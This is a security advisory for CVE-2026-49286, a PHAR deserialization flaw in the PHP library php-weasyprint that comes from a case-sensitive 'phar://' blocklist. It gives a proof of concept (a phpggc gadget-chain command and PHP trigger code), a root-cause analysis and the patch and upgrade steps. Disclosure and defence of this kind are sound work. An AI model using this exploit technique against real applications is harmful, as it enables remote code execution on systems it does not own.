high · 8.1CVE-2026-49286Jun 26, 2026

CVE-2026-49286: pontedilana/php-weasyprint PHAR Deserialization via Case-Insensitive Stream Wrapper Bypass

Rohit Hatagale
AI Security Researcher, SecureLayer7

A case-sensitive blocklist in php-weasyprint lets attackers pass a PHAR archive path using mixed-case like PHAR:// to bypass the output filename guard and trigger PHP object deserialization, leading…

Packagepontedilana/php-weasyprint
Ecosystemcomposer
Affected<= 2.5.1
Fixed in2.6.0

The problem

The library's prepareOutput() method blocked the phar:// stream wrapper with a literal lowercase strpos() check. Because PHP resolves stream wrappers case-insensitively, passing PHAR://, Phar://, or any other variant skips the guard entirely.

An attacker who can control the output filename passed to generate() or generateFromHtml(), and who can also place a crafted PHAR archive on the target filesystem (for example, via a file upload endpoint), can trigger deserialization of the PHAR metadata. On PHP 7 (still a supported target for this library) that deserialization executes arbitrary code.

Proof of concept

A working proof-of-concept for CVE-2026-49286 in pontedilana/php-weasyprint, with the exact payload below.

bash
# Step 1: craft a PHAR with a gadget chain (requires phpggc)
phpggc -f Monolog/RCE1 exec 'touch /tmp/pwned' -p phar -o exploit.phar

# Step 2: trigger deserialization via the case-bypassed wrapper
<?php
use Pontedilana\PhpWeasyPrint\Pdf;

$pdf = new Pdf('/usr/local/bin/weasyprint');
// 'PHAR://' passes the lowercase strpos() check; file_exists() deserializes the PHAR metadata
$pdf->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar');
// On PHP < 8: gadget chain fires -> /tmp/pwned is created

The root cause is CWE-502 (Deserialization of Untrusted Data) compounded by a case-sensitive string comparison against a value PHP itself treats as case-insensitive. The original CVE-2023-28115 fix added if (0 === strpos($filename, 'phar://')) but never lowercased the input first, so any non-lowercase variant flows straight to file_exists().

When file_exists() is called with a phar:// URI on PHP 7, PHP automatically deserializes the PHAR archive's serialized metadata, executing any __destruct() or __wakeup() method on objects embedded in a gadget chain.

The patch in 2.6.0 replaces the blocklist entirely with an allowlist. It uses parse_url() to extract the scheme, lowercases it with strtolower(), and rejects anything that is not file (or no scheme at all, for plain filesystem paths). This stops phar, PHAR, php, http, and every other wrapper before file_exists() is ever reached.

The fix

Update to pontedilana/php-weasyprint 2.6.0 via Composer: composer require pontedilana/php-weasyprint:^2.6.0. The patched version replaces the case-sensitive phar:// blocklist with a parse_url() + strtolower() allowlist that permits only the file scheme (commit d1aa487722b5a3cab9b222b85fdb5608a5a550c3).

If upgrading immediately is not possible, sanitize and validate any caller-controlled output filename before passing it to generate() or generateFromHtml(), and block file uploads from being stored at attacker-predictable paths.

Reported by Rémi Matasse (Synacktiv).

References: [1][2][3][4][5][6]

Related research